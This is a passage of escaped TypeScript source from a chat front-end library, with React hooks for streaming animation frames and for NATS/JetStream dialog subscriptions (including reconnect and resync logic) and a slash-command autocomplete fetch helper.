StreamFrame {\n  const [index, setIndex] = useState(0)\n  const [reducedMotion, setReducedMotion] = useState(false)\n\n  // Restart from the top on a new conversation, synchronously during render\n  // (React's \"adjust state on prop change\" pattern) so the previous stream's\n  // last frame never flashes before the reset effect runs.\n  const [prevKey, setPrevKey] = useState(resetKey)\n  if (resetKey !== prevKey) {\n    setPrevKey(resetKey)\n    setIndex(0)\n  }\n\n  useEffect(() => {\n    setReducedMotion(prefersReducedMotion())\n    const mq = window.matchMedia?.('(prefers-reduced-motion: reduce)')\n    if (!mq) return\n    const onChange = () => setReducedMotion(mq.matches)\n    mq.addEventListener('change', onChange)\n    return () => mq.removeEventListener('change', onChange)\n  }, [])\n\n  const playing = enabled && !reducedMotion && frames.length > 0\n  const lastIndex = Math.max(0, frames.length - 1)\n\n  // Advance one frame after the current frame's hold. When `frames` grows (an\n  // Approve appends more), this effect re-runs and, if we were parked on the old\n  // last frame, schedules the next — resuming the stream. `frames[index]` is\n  // clamped because a shrink (a shorter new conversation before the reset lands)\n  // could momentarily leave `index` past the end.\n  useEffect(() => {\n    if (!playing || index >= lastIndex) return\n    const current = frames[Math.min(index, lastIndex)] ?? EMPTY_FRAME\n    const t = setTimeout(() => setIndex((i) => Math.min(i + 1, lastIndex)), current.delayMs)\n    return () => clearTimeout(t)\n  }, [index, frames, playing, lastIndex])\n\n  if (frames.length === 0) return EMPTY_FRAME\n  if (!playing) return frames[lastIndex]\n  return frames[Math.min(index, lastIndex)] ?? EMPTY_FRAME\n}\n","'use client'\n\nimport { useCallback, useEffect, useRef, useState } from 'react'\nimport {\n  acquireClient as acquireSharedClient,\n  releaseClient as releaseSharedClient,\n  startConnectionLifecycle,\n  type JetStreamSubscriptionHandle,\n  type NatsClient,\n  type SharedConnection,\n} from '../../../nats'\nimport {\n  type UseJetStreamDialogSubscriptionOptions,\n  type UseJetStreamDialogSubscriptionReturn,\n} from '../types'\n\nconst DEFAULT_STREAM_NAME = 'CHAT_CHUNKS'\n/**\n * How long the page must have been out of sight before coming back counts as an\n * absence worth resyncing for. Alt-tabbing must not churn the consumer; a\n * window that sat in the tray must not come back showing a stale conversation.\n */\nexport const RESYNC_AFTER_HIDDEN_MS = 10_000\n/**\n * How long resync requests are gathered before one is acted on.\n *\n * A single reveal can be reported twice: the page sees `visibilitychange`, and\n * a host that knows the window was away reports it too (`resyncSignal`),\n * neither able to tell whether the other noticed. Both land within a frame or\n * two of each other, being driven by the same OS event, and acting on both\n * rebuilds the consumer and refetches history twice for one reveal.\n *\n * Gathered on the TRAILING edge, so a request is deferred and never dropped.\n * Two reports of one reveal collapse into one rebuild; two genuinely different\n * signals — a notification reply landing just before the user opens the window\n * — also collapse into one, which is correct, because a single refetch after\n * the last of them covers both. The cost is a second of latency on a path whose\n * next step is a network round trip.\n */\nconst RESYNC_COALESCE_MS = 1_000\n/**\n * Floor between two reported recoveries. Every recovery costs the caller a\n * history refetch, and a consumer that cannot hold its sequence — gap, reset,\n * gap — would otherwise turn a server-side fault into a refetch storm from\n * every open client. Recoveries are a repair signal, not a data feed: one per\n * window is enough to close the gap.\n */\nconst RECOVERY_REPORT_FLOOR_MS = 5_000\n\n/**\n * Subscribe to a chat dialog stream via a JetStream **ephemeral OrderedConsumer**.\n *\n * - Subject: `chat.{dialogId}.{topic}`\n * - When `optStartSeq` is a number, the consumer resumes at `optStartSeq + 1`\n *   (`DeliverPolicy.ByStartSequence`). When null/undefined, it live-tails\n *   (`DeliverPolicy.New`).\n * - On reconnect, the consumer is recreated starting from the highest stream\n *   sequence we've already observed + 1, so no chunk is replayed or skipped.\n * - Consumer is ephemeral with `AckPolicy.None` and the client's default\n *   inactivity threshold (overridable via `inactiveThresholdMs`).\n * - `reconnectionCount` also counts consumer recreations and post-absence\n *   resyncs, not just NATS reconnects — see the counter's docs. Callers refetch\n *   persisted history whenever it moves.\n */\nexport function useJetStreamDialogSubscription({\n  enabled,\n  dialogId,\n  streamName = DEFAULT_STREAM_NAME,\n  topic,\n  optStartSeq,\n  onEvent,\n  onConnect,\n  onDisconnect,\n  onSubscribed,\n  onBeforeReconnect,\n  getNatsWsUrl,\n  clientConfig = {},\n  reconnectionBackoff,\n  inactiveThresholdMs,\n  resyncSignal = 0,\n}: UseJetStreamDialogSubscriptionOptions): UseJetStreamDialogSubscriptionReturn {\n  const [isConnected, setIsConnected] = useState(false)\n  const [isSubscribed, setIsSubscribed] = useState(false)\n  const [reconnectionCount, setReconnectionCount] = useState(0)\n  // Kept apart from reconnectionCount because only the latter drives the\n  // subscription effect: nats.ws has already rebuilt the consumer by the time\n  // it reports a recovery, so tearing ours down and recreating it would be\n  // churn — and churn that can feed itself, since each new consumer can report\n  // its own recoveries. Callers see the two summed (see the return).\n  const [recoveryCount, setRecoveryCount] = useState(0)\n  const [currentStreamSeq, setCurrentStreamSeq] = useState<number | null>(null)\n\n  const lastRecoveryReportRef = useRef(0)\n  const resyncTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null)\n  const lastResyncSignalRef = useRef(resyncSignal)\n  const clientRef = useRef<NatsClient | null>(null)\n  const subscriptionRef = useRef<JetStreamSubscriptionHandle | null>(null)\n  const highestStreamSeqRef = useRef<number | null>(null)\n\n  const onEventRef = useRef(onEvent)\n  useEffect(() => {\n    onEventRef.current = onEvent\n  }, [onEvent])\n\n  const onConnectRef = useRef(onConnect)\n  useEffect(() => {\n    onConnectRef.current = onConnect\n  }, [onConnect])\n\n  const onDisconnectRef = useRef(onDisconnect)\n  useEffect(() => {\n    onDisconnectRef.current = onDisconnect\n  }, [onDisconnect])\n\n  const onSubscribedRef = useRef(onSubscribed)\n  useEffect(() => {\n    onSubscribedRef.current = onSubscribed\n  }, [onSubscribed])\n\n  const onBeforeReconnectRef = useRef(onBeforeReconnect)\n  useEffect(() => {\n    onBeforeReconnectRef.current = onBeforeReconnect\n  }, [onBeforeReconnect])\n\n  const getNatsWsUrlRef = useRef(getNatsWsUrl)\n  useEffect(() => {\n    getNatsWsUrlRef.current = getNatsWsUrl\n  }, [getNatsWsUrl])\n\n  const reconnectionBackoffRef = useRef(reconnectionBackoff)\n  useEffect(() => {\n    reconnectionBackoffRef.current = reconnectionBackoff\n  }, [reconnectionBackoff])\n\n  const optStartSeqRef = useRef<number | null | undefined>(optStartSeq)\n  useEffect(() => {\n    optStartSeqRef.current = optStartSeq\n  }, [optStartSeq])\n\n  const inactiveThresholdRef = useRef<number | undefined>(inactiveThresholdMs)\n  useEffect(() => {\n    inactiveThresholdRef.current = inactiveThresholdMs\n  }, [inactiveThresholdMs])\n\n  const hadConnectionBeforeRef = useRef(false)\n\n  const clientConfigRef = useRef(clientConfig)\n  useEffect(() => {\n    clientConfigRef.current = clientConfig\n  }, [clientConfig])\n\n  const currentWsUrlRef = useRef<string>('')\n\n  // Resolve the URL synchronously each render so the effect depends on the URL string\n  // itself, not the (often inline-allocated) getNatsWsUrl callback identity. Otherwise\n  // every silent token rotation that rebuilds getNatsWsUrl in the caller would tear\n  // the WS down and reacquire even though the resolved URL hasn't changed.\n  const wsUrl = getNatsWsUrl()\n\n  useEffect(() => {\n    if (!enabled || !wsUrl) {\n      if (currentWsUrlRef.current && clientRef.current) {\n        releaseSharedClient(currentWsUrlRef.current)\n        clientRef.current = null\n        currentWsUrlRef.current = ''\n        setIsConnected(false)\n      }\n      return\n    }\n\n    if (\n      wsUrl === currentWsUrlRef.current &&\n      clientRef.current &&\n      clientRef.current.isConnected()\n    ) {\n      return\n    }\n\n    if (\n      currentWsUrlRef.current &&\n      currentWsUrlRef.current !== wsUrl &&\n      clientRef.current\n    ) {\n      releaseSharedClient(currentWsUrlRef.current)\n      clientRef.current = null\n      setIsConnected(false)\n    }\n\n    currentWsUrlRef.current = wsUrl\n    const cfg = clientConfigRef.current\n    const sharedConn = acquireSharedClient(wsUrl, {\n      name: cfg.name ?? 'openframe-frontend-jetstream',\n      user: cfg.user ?? 'machine',\n      pass: cfg.pass ?? '',\n    })\n    const client = sharedConn.client\n\n    clientRef.current = client\n    setIsConnected(client.isConnected())\n\n    const tearDownSubscription = () => {\n      if (subscriptionRef.current) {\n        try {\n          subscriptionRef.current.unsubscribe()\n        } catch {\n          // ignore\n        }\n        subscriptionRef.current = null\n      }\n    }\n\n    const lifecycle = startConnectionLifecycle({\n      conn: sharedConn,\n      wsUrl,\n      onBeforeReconnect: () => onBeforeReconnectRef.current?.(),\n      backoff: reconnectionBackoffRef.current,\n      getFreshUrl: () => getNatsWsUrlRef.current(),\n      // JetStream emits 'error' for protocol-level failures (e.g. -ERR Permissions\n      // Violation when CONSUMER.CREATE is denied) without closing the WebSocket.\n      // Retrying on 'error' would loop onBeforeReconnect on every -ERR; let the\n      // subscribe effect surface those via its own rejected promise instead.\n      shouldRetryOn: (status) => status === 'closed' || status === 'disconnected',\n      onStatusChange: (status, evt) => {\n        if (status === 'connected') {\n          setIsConnected(true)\n          if (hadConnectionBeforeRef.current) {\n            setReconnectionCount((c) => c + 1)\n          }\n          hadConnectionBeforeRef.current = true\n          onConnectRef.current?.()\n        }\n        if (status === 'error') {\n          console.warn('[JetStream] NATS protocol error:', evt.data)\n          return\n        }\n        if (status === 'closed' || status === 'disconnected') {\n          setIsConnected(false)\n          setIsSubscribed(false)\n          tearDownSubscription()\n          onDisconnectRef.current?.()\n        }\n      },\n    })\n\n    return () => {\n      lifecycle.stop()\n      setIsConnected(false)\n      setIsSubscribed(false)\n      tearDownSubscription()\n\n      if (clientRef.current && currentWsUrlRef.current) {\n        releaseSharedClient(currentWsUrlRef.current)\n        clientRef.current = null\n        currentWsUrlRef.current = ''\n      }\n    }\n  }, [enabled, wsUrl])\n\n  // Reset the highest-seen sequence whenever the dialog changes so a new dialog\n  // starts from optStartSeq (or DeliverPolicy.New) rather than the previous\n  // dialog's offset. MUST be declared BEFORE the subscription effect below:\n  // React runs effects in declaration order, and when this ran after it, the\n  // new dialog's consumer was created with the PREVIOUS dialog's stale\n  // `highestStreamSeq + 1` as its start sequence (skipping messages /\n  // ignoring optStartSeq).\n  useEffect(() => {\n    highestStreamSeqRef.current = null\n    // A host's signal counts per dialog (it can carry a per-conversation term),\n    // so the baseline has to move with the dialog or a switch to one with a\n    // LOWER count would swallow every later resync for it.\n    lastResyncSignalRef.current = resyncSignal\n    setCurrentStreamSeq(null)\n    // A resync gathered for the previous dialog must not land on this one: the\n    // counter says nothing about which conversation it meant, so callers would\n    // refetch the wrong one. The dialog change supersedes it — the new dialog\n    // loads its own history regardless. As cleanup, so it covers unmount too,\n    // which is the same rule.\n    return () => {\n      if (resyncTimerRef.current !== null) {\n        clearTimeout(resyncTimerRef.current)\n        resyncTimerRef.current = null\n      }\n    }\n    // `resyncSignal` is read as the new baseline, not depended on: reacting to\n    // it here would reset the baseline on the very change meant to trigger a\n    // resync, and the effect below owns that.\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, [dialogId])\n\n  // Coming back into view after a real absence is treated exactly like a\n  // reconnect, because the page cannot tell the difference from the inside.\n  // While it was hidden — a tray-hidden desktop window, a background tab, a\n  // sleeping machine — delivery may have stopped without the socket ever\n  // closing and without any consumer event to show for it. Nothing else will\n  // report that: the tail simply stays quiet, and the conversation on screen\n  // stays frozen at whatever was there when the window went away (the user's\n  // manual fix is a page refresh, which is exactly the history refetch this\n  // triggers). Rebuilds the consumer from the last sequence seen AND tells\n  // callers to refetch history.\n  //\n  // Every source funnels through here (see `RESYNC_COALESCE_MS`). Restarting\n  // the timer rather than dropping is what makes that safe: a request is only\n  // ever folded into the one that follows it, never discarded.\n  const requestResync = useCallback(() => {\n    if (resyncTimerRef.current !== null) clearTimeout(resyncTimerRef.current)\n    resyncTimerRef.current = setTimeout(() => {\n      resyncTimerRef.current = null\n      setReconnectionCount((c) => c + 1)\n    }, RESYNC_COALESCE_MS)\n  }, [])\n\n  useEffect(() => {\n    if (!enabled) return\n    let hiddenSince = document.visibilityState === 'hidden' ? Date.now() : 0\n\n    const onVisibilityChange = () => {\n      if (document.visibilityState === 'hidden') {\n        hiddenSince = Date.now()\n        return\n      }\n      const awayMs = hiddenSince === 0 ? 0 : Date.now() - hiddenSince\n      hiddenSince = 0\n      if (awayMs >= RESYNC_AFTER_HIDDEN_MS) {\n        requestResync()\n      }\n    }\n\n    document.addEventListener('visibilitychange', onVisibilityChange)\n    return () => document.removeEventListener('visibilitychange', onVisibilityChange)\n  }, [enabled, requestResync])\n\n  useEffect(() => {\n    // Held, not consumed, while disabled: it fires once on enable instead.\n    // A host reports a signal against the conversation, not against this hook's\n    // readiness, so one arriving while the caller is still assembling the\n    // subscription describes a gap in the history the caller is fetching right\n    // now. Dropping it would leave that fetch's result stale with nothing left\n    // to say so.\n    if (!enabled) return\n    // The mount value is a baseline, not a signal.\n    if (resyncSignal <= lastResyncSignalRef.current) return\n    lastResyncSignalRef.current = resyncSignal\n    requestResync()\n  }, [enabled, resyncSignal, requestResync])\n\n  // Subscription lifecycle: (re)create the ephemeral JetStream consumer whenever\n  // we transition into a connected state for a dialog, and whenever the dialog\n  // changes. On reconnect we resume from highestStreamSeq + 1.\n  useEffect(() => {\n    if (!enabled || !dialogId || !isConnected) {\n      if (subscriptionRef.current) {\n        try {\n          subscriptionRef.current.unsubscribe()\n        } catch {\n          // ignore\n        }\n        subscriptionRef.current = null\n      }\n      setIsSubscribed(false)\n      return\n    }\n\n    const client = clientRef.current\n    if (!client) return\n\n    const abortController = new AbortController()\n    const decoder = new TextDecoder()\n    const filterSubject = `chat.${dialogId}.${topic}`\n\n    const resumeSeq = highestStreamSeqRef.current\n    const initialOptStart = optStartSeqRef.current\n    const startSeq =\n      resumeSeq != null ? resumeSeq + 1 : initialOptStart != null ? initialOptStart + 1 : undefined\n\n    let cancelled = false\n\n    void (async () => {\n      try {\n        const handle = await client.subscribeJetStreamOrdered(\n          (msg) => {\n            if (cancelled) return\n            const streamSeq = msg.info.streamSequence\n            if (typeof streamSeq === 'number') {\n              if (\n                highestStreamSeqRef.current == null ||\n                streamSeq > highestStreamSeqRef.current\n              ) {\n                highestStreamSeqRef.current = streamSeq\n                setCurrentStreamSeq(streamSeq)\n              }\n            }\n            const cb = onEventRef.current\n            if (!cb) return\n            try {\n              const parsed = JSON.parse(decoder.decode(msg.data)) as Record<string, unknown>\n              if (typeof streamSeq === 'number') {\n                ;(parsed as { streamSeq?: number }).streamSeq = streamSeq\n              }\n              cb(parsed, topic)\n            } catch {\n              // Ignore malformed payloads.\n            }\n          },\n          {\n            streamName,\n            filterSubject,\n            deliverPolicy: startSeq != null ? 'byStartSequence' : 'new',\n            optStartSeq: startSeq,\n            // Undefined when the caller did not set one: the client owns the default,\n            // so it is not spelled out a second time here.\n            inactiveThresholdMs: inactiveThresholdRef.current,\n            signal: abortController.signal,\n            onRecovered: () => {\n              if (cancelled) return\n              const now = Date.now()\n              if (now - lastRecoveryReportRef.current < RECOVERY_REPORT_FLOOR_MS) return\n              lastRecoveryReportRef.current = now\n              setRecoveryCount((c) => c + 1)\n            },\n          },\n        )\n\n        if (cancelled) {\n          try {\n            handle.unsubscribe()\n          } catch {\n            // ignore\n          }\n          return\n        }\n\n        subscriptionRef.current = handle\n        setIsSubscribed(true)\n        onSubscribedRef.current?.()\n      } catch {\n        if (!cancelled) {\n          setIsSubscribed(false)\n        }\n      }\n    })()\n\n    return () => {\n      cancelled = true\n      abortController.abort()\n      if (subscriptionRef.current) {\n        try {\n          subscriptionRef.current.unsubscribe()\n        } catch {\n          // ignore\n        }\n        subscriptionRef.current = null\n      }\n      setIsSubscribed(false)\n    }\n  }, [enabled, dialogId, isConnected, streamName, topic, reconnectionCount])\n\n  // One counter for every way the tail comes back — reconnect, consumer\n  // recreation, post-absence resync — because callers do the same thing for all\n  // of them: refetch persisted history, since the gap may predate what the\n  // stream still holds. The last two are the quiet ones; no connection event\n  // fires for either.\n  return {\n    isConnected,\n    isSubscribed,\n    reconnectionCount: reconnectionCount + recoveryCount,\n    currentStreamSeq,\n  }\n}\n","'use client'\n\nimport { useEffect, useRef, useState } from 'react'\nimport {\n  acquireClient as acquireSharedClient,\n  releaseClient as releaseSharedClient,\n  startConnectionLifecycle,\n  type NatsClient,\n  type NatsStatus,\n  type NatsSubscriptionHandle,\n  type SharedConnection,\n} from '../../../nats'\nimport {\n  type NatsConnectionSource,\n  type NatsMessageType,\n  type UseNatsDialogSubscriptionOptions,\n  type UseNatsDialogSubscriptionReturn,\n} from '../types'\n\nexport function useNatsDialogSubscription({\n  enabled,\n  dialogId,\n  topics = ['message'],\n  onEvent,\n  onConnect,\n  onDisconnect,\n  onSubscribed,\n  onBeforeReconnect,\n  getNatsWsUrl,\n  clientConfig = {},\n  reconnectionBackoff,\n}: UseNatsDialogSubscriptionOptions): UseNatsDialogSubscriptionReturn {\n  const [isConnected, setIsConnected] = useState(false)\n  const [isSubscribed, setIsSubscribed] = useState(false)\n  const [reconnectionCount, setReconnectionCount] = useState(0)\n  \n  const clientRef = useRef<NatsClient | null>(null)\n  const subscriptionRefs = useRef<Map<NatsMessageType, NatsSubscriptionHandle | null>>(new Map())\n\n  const onEventRef = useRef(onEvent)\n  useEffect(() => {\n    onEventRef.current = onEvent\n  }, [onEvent])\n  \n  const onConnectRef = useRef(onConnect)\n  useEffect(() => {\n    onConnectRef.current = onConnect\n  }, [onConnect])\n  \n  const onDisconnectRef = useRef(onDisconnect)\n  useEffect(() => {\n    onDisconnectRef.current = onDisconnect\n  }, [onDisconnect])\n  \n  const onSubscribedRef = useRef(onSubscribed)\n  useEffect(() => {\n    onSubscribedRef.current = onSubscribed\n  }, [onSubscribed])\n\n  const onBeforeReconnectRef = useRef(onBeforeReconnect)\n  useEffect(() => {\n    onBeforeReconnectRef.current = onBeforeReconnect\n  }, [onBeforeReconnect])\n\n  const hadConnectionBeforeRef = useRef(false)\n\n  const getNatsWsUrlRef = useRef(getNatsWsUrl)\n  useEffect(() => {\n    getNatsWsUrlRef.current = getNatsWsUrl\n  }, [getNatsWsUrl])\n\n  const reconnectionBackoffRef = useRef(reconnectionBackoff)\n  useEffect(() => {\n    reconnectionBackoffRef.current = reconnectionBackoff\n  }, [reconnectionBackoff])\n\n  const clientConfigRef = useRef(clientConfig)\n  useEffect(() => {\n    clientConfigRef.current = clientConfig\n  }, [clientConfig])\n\n  const currentWsUrlRef = useRef<string>('')\n\n  // Resolve the URL synchronously each render so the effect's dep is the URL string\n  // itself, not the (often inline-allocated) getNatsWsUrl callback identity. Without\n  // this the effect re-runs on every render that produces a new callback identity —\n  // e.g. every silent token rotation when `useNatsAppConfig` rebuilds getWsUrl —\n  // tearing the WS down and reacquiring even though the resolved URL hasn't changed.\n  const wsUrl = getNatsWsUrl()\n\n  useEffect(() => {\n    if (!enabled || !wsUrl) {\n      if (currentWsUrlRef.current && clientRef.current) {\n        releaseSharedClient(currentWsUrlRef.current)\n        clientRef.current = null\n        currentWsUrlRef.current = ''\n        setIsConnected(false)\n      }\n      return\n    }\n\n    // Skip if we're already connected to the same URL\n    if (wsUrl === currentWsUrlRef.current && clientRef.current && clientRef.current.isConnected()) {\n      return\n    }\n\n    if (currentWsUrlRef.current && currentWsUrlRef.current !== wsUrl && clientRef.current) {\n      releaseSharedClient(currentWsUrlRef.current)\n      clientRef.current = null\n      setIsConnected(false)\n    }\n\n    currentWsUrlRef.current = wsUrl\n    const cfg = clientConfigRef.current\n    const sharedConn = acquireSharedClient(wsUrl, {\n      name: cfg.name ?? 'openframe-frontend',\n      user: cfg.user ?? 'machine',\n      pass: cfg.pass ?? '',\n    })\n    const client = sharedConn.client\n\n    clientRef.current = client\n    setIsConnected(client.isConnected())\n\n    const tearDownSubscriptions = () => {\n      subscriptionRefs.current.forEach((sub) => {\n        try {\n          sub?.unsubscribe()\n        } catch {\n          // ignore\n        }\n      })\n      subscriptionRefs.current.clear()\n      lastSubscribedDialogIdRef.current = null\n      abortControllerRef.current?.abort()\n      abortControllerRef.current = null\n    }\n\n    const isDisconnectStatus = (status: NatsStatus) =>\n      status === 'closed' || status === 'disconnected'\n\n    const lifecycle = startConnectionLifecycle({\n      conn: sharedConn,\n      wsUrl,\n      onBeforeReconnect: () => onBeforeReconnectRef.current?.(),\n      backoff: reconnectionBackoffRef.current,\n      getFreshUrl: () => getNatsWsUrlRef.current(),\n      shouldRetryOn: isDisconnectStatus,\n      onStatusChange: (status, evt) => {\n        if (status === 'connected') {\n          setIsConnected(true)\n          if (hadConnectionBeforeRef.current) {\n            setReconnectionCount((c) => c + 1)\n          }\n          hadConnectionBeforeRef.current = true\n          onConnectRef.current?.()\n        }\n        if (status === 'error') {\n          console.warn('[NATS] protocol error:', evt.data)\n          return\n        }\n        if (isDisconnectStatus(status)) {\n          setIsConnected(false)\n          setIsSubscribed(false)\n          tearDownSubscriptions()\n          onDisconnectRef.current?.()\n        }\n      },\n    })\n\n    return () => {\n      lifecycle.stop()\n      setIsConnected(false)\n      setIsSubscribed(false)\n      tearDownSubscriptions()\n\n      if (clientRef.current && currentWsUrlRef.current) {\n        releaseSharedClient(currentWsUrlRef.current)\n        clientRef.current = null\n        currentWsUrlRef.current = ''\n      }\n    }\n  }, [enabled, wsUrl])\n\n  // Key the subscription effects on the topics CONTENT, not the array\n  // identity — hosts often pass an inline array, and an identity dep made\n  // every render tear down + recreate the subscriptions (plain NATS delivers\n  // nothing during that gap, so chunks were silently lost).\n  const topicsKey = topics.join(',')\n  const topicsRef = useRef(topics)\n  topicsRef.current = topics\n  const lastSubscribedDialogIdRef = useRef<string | null>(null)\n  const isConnectedRef = useRef(isConnected)\n  \n  useEffect(() => {\n    isConnectedRef.current = isConnected\n  }, [isConnected])\n\n  const currentDialogIdRef = useRef<string | null>(null)\n  const abortControllerRef = useRef<AbortController | null>(null)\n\n  useEffect(() => {\n    currentDialogIdRef.current = dialogId\n\n    if (!enabled || !dialogId) {\n      if (subscriptionRefs.current.size > 0) {\n        setIsSubscribed(false)\n        subscriptionRefs.current.forEach((sub) => {\n          try {\n            sub?.unsubscribe()\n          } catch {\n            // ignore\n          }\n        })\n        subscriptionRefs.current.clear()\n        lastSubscribedDialogIdRef.current = null\n        abortControllerRef.current?.abort()\n        abortControllerRef.current = null\n      }\n      return\n    }\n    \n    const needsNewSubscription = \n      lastSubscribedDialogIdRef.current !== dialogId || \n      subscriptionRefs.current.size === 0\n    \n    if (!needsNewSubscription) {\n      return\n    }\n    \n    if (subscriptionRefs.current.size > 0) {\n      subscriptionRefs.current.forEach((sub) => {\n        try {\n          sub?.unsubscribe()\n        } catch {\n          // ignore\n        }\n      })\n      subscriptionRefs.current.clear()\n      abortControllerRef.current?.abort()\n    }\n\n    abortControllerRef.current = new AbortController()\n    const abort = abortControllerRef.current\n\n    const createSubscriptions = () => {\n      if (!isConnectedRef.current) {\n        return\n      }\n      \n      const client = clientRef.current\n      if (!client || currentDialogIdRef.current !== dialogId) {\n        return\n      }\n\n      const decoder = new TextDecoder()\n      \n      const handleMessage = (messageType: NatsMessageType) => async (msg: any) => {\n        if (!onEventRef.current) return\n        try {\n          const dataStr = decoder.decode(msg.data)\n          const parsed = JSON.parse(dataStr)\n          onEventRef.current(parsed, messageType)\n        } catch {\n          // Ignore parse errors\n        }\n      }\n      \n      topicsRef.current.forEach((topic) => {\n        const subscription = client.subscribeBytes(\n          `chat.${dialogId}.${topic}`,\n          handleMessage(topic),\n          { signal: abort.signal }\n        )\n        subscriptionRefs.current.set(topic, subscription)\n      })\n\n      lastSubscribedDialogIdRef.current = dialogId\n      setIsSubscribed(true)\n      onSubscribedRef.current?.()\n    }\n\n    if (isConnectedRef.current) {\n      createSubscriptions()\n    }\n\n    return () => {\n      setIsSubscribed(false)\n      abort.abort()\n      subscriptionRefs.current.forEach((sub) => {\n        try {\n          sub?.unsubscribe()\n        } catch {\n          // ignore\n        }\n      })\n      subscriptionRefs.current.clear()\n      lastSubscribedDialogIdRef.current = null\n      abortControllerRef.current = null\n    }\n  }, [enabled, dialogId, topicsKey])\n\n  useEffect(() => {\n    if (!enabled || !currentDialogIdRef.current || !isConnected) {\n      return\n    }\n    \n    if (subscriptionRefs.current.size === 0 && lastSubscribedDialogIdRef.current !== currentDialogIdRef.current) {\n      const client = clientRef.current\n      if (!client) return\n      \n      const dialogId = currentDialogIdRef.current\n      const decoder = new TextDecoder()\n      \n      const abort = abortControllerRef.current || new AbortController()\n      if (!abortControllerRef.current) {\n        abortControllerRef.current = abort\n      }\n      \n      const handleMessage = (messageType: NatsMessageType) => async (msg: any) => {\n        if (!onEventRef.current) return\n        try {\n          const dataStr = decoder.decode(msg.data)\n          const parsed = JSON.parse(dataStr)\n          onEventRef.current(parsed, messageType)\n        } catch {\n          // Ignore parse errors\n        }\n      }\n      \n      topicsRef.current.forEach((topic) => {\n        const subscription = client.subscribeBytes(\n          `chat.${dialogId}.${topic}`,\n          handleMessage(topic),\n          { signal: abort.signal }\n        )\n        subscriptionRefs.current.set(topic, subscription)\n      })\n\n      lastSubscribedDialogIdRef.current = dialogId\n      setIsSubscribed(true)\n      onSubscribedRef.current?.()\n    } else if (subscriptionRefs.current.size > 0) {\n      setIsSubscribed(true)\n    }\n  }, [isConnected, enabled, topicsKey])\n\n  return { isConnected, isSubscribed, reconnectionCount }\n}\n\n/**\n * Utility function to build NATS WebSocket URL\n * Can be used to create the getNatsWsUrl callback\n */\nexport function buildNatsWsUrl(\n  apiBaseUrl: string,\n  options?: {\n    token?: string\n    includeAuthParam?: boolean\n    source?: NatsConnectionSource\n  }\n): string {\n  const path = options?.source === 'dashboard' ? '/ws/nats-api' : '/ws/nats'\n  const u = new URL(path, apiBaseUrl)\n  u.protocol = u.protocol === 'https:' ? 'wss:' : 'ws:'\n\n  if (options?.includeAuthParam && options?.token) {\n    u.searchParams.set('authorization', options.token)\n  }\n  \n  return u.toString()\n}\n","\"use client\";\n\n/**\n * Client-side hook + helper for the slash-command autocomplete.\n *\n * `fetchSlashCommands` is a stateless wrapper around the host's\n * commands endpoint. The caller threads the URL — the lib never\n * depends on hub-internal route paths.\n *\n * `useSlashCommands` is the React-state version (debounced, cancellable).\n *\n * Types live in `../types/component.types` so the autocomplete\n * dropdown and the chat-side runtime share one source of truth.\n */\n\nimport { useEffect, useState } from \"react\";\nimport { useQuery } from \"@tanstack/react-query\";\nimport { embedAuthedFetch } from \"../../../utils/embed-authed-fetch\";\nimport type {\n  SlashCommandActionId,\n  SlashCommandSummaryAction,\n  SlashCommandSummary,\n} from \"../types/component.types\";\n\n// Re-export so callers can `import { SlashCommandSummary } from\n// '@flamingo-stack/openframe-frontend-core/components/chat/hooks'`\n// without reaching into types. The component.types module is the\n// canonical declaration.\nexport type {\n  SlashCommandActionId,\n  SlashCommandSummaryAction,\n  SlashCommandSummary,\n};\n\n/**\n * Fetch slash-command suggestions for the CURRENT deployment platform,\n * matching id-prefix `prefix`. The chat source is server-resolved — the\n * client sends NO `source` param on the URL.\n *\n * `commandsUrl` is required — supplied by `useChatRuntime().endpoints.commandsUrl`\n * at the call site. NO default value.\n *\n * URL handling: `new URL(commandsUrl, window.location.origin)` works\n * for both relative (e.g. `/api/mingo-guide/commands` → resolved against\n * the embedder origin, proxy handles it) and absolute\n * (e.g. `https://hub.openframe.ai/api/commands` → the base arg is\n * ignored).\n *\n * Auth: rides on `embedAuthedFetch` (same bearer-act-as + 401 self-heal\n * as the chat stream / identity / attachment calls) so a host that runs\n * proxy-impersonation or a refresh-capable auth adapter gets its creds\n * attached here too — no host-side `window.fetch` patch required. Hosts\n * with no adapter fall through to cookie auth unchanged.\n *\n * Returns the parsed `commands` array; on any non-2xx (auth,\n * rate-limit, chat-disabled) returns an empty array — the autocomplete\n * UI silently shows no suggestions rather than surfacing 401/403/429\n * toasts.\n */\nexport async function fetchSlashCommands(\n  prefix: string,\n  signal: AbortSignal | undefined,\n  commandsUrl: string,\n): Promise<SlashCommandSummary[]> {\n  try {\n    const url = new URL(commandsUrl, window.location.origin);\n    if (prefix) url.searchParams.set(\"q\", prefix);\n    // `headers: {}` opts out of the default `Content-Type: application/json`\n    // — this is a bare GET with no body, so no content-type is needed.\n    const res = await embedAuthedFetch(url.toString(), { signal, headers: {} });\n    if (!res.ok) return [];\n    const data = (await res.json()) as { commands?: SlashCommandSummary[] };\n    return data.commands ?? [];\n  } catch (err) {\n    // Cancellation (unmount / dep change) MUST propagate so react-query treats\n    // it as cancelled, not as a successful empty result. Every OTHER failure\n    // (network down, proxy reject, non-JSON body) degrades to \"no commands\" so\n    // a flaky commands endpoint can NEVER break the chat — the autocomplete /\n    // onboarding list just renders empty.\n    if ((err as Error)?.name === \"AbortError\") throw err;\n    console.warn(\"[chat] slash-commands fetch failed, showing none:\", err);\n    return [];\n  }\n}\n\n/**\n * Debounced, cancellable React hook. Returns `{ commands, loading }`.\n *\n * `commandsUrl` is required — pass `useChatRuntime().endpoints.commandsUrl`.\n */\nexport function useSlashCommands(\n  prefix: string | null,\n  commandsUrl: string,\n): { commands: SlashCommandSummary[]; loading: boolean } {\n  const [commands, setCommands] = useState<SlashCommandSummary[]>([]);\n  const [loading, setLoading] = useState(false);\n\n  useEffect(() => {\n    if (prefix == null) {\n      setCommands([]);\n      return;\n    }\n    let cancelled = false;\n    const ctrl = new AbortController();\n    setLoading(true);\n    const handle = setTimeout(async () => {\n      try {\n        const next = await fetchSlashCommands(prefix, ctrl.signal, commandsUrl);\n        if (!cancelled) setCommands(next);\n      } catch (err) {\n        // AbortError on dep-change / unmount is expected; log others.\n        if (!cancelled && (err as Error)?.name !== \"AbortError\") {\n          console.warn(\"[use-slash-commands] fetch failed:\", err);\n        }\n      } finally {\n        if (!cancelled) setLoading(false);\n      }\n    }, 150);\n    return () => {\n      cancelled = true;\n      ctrl.abort();\n      clearTimeout(handle);\n    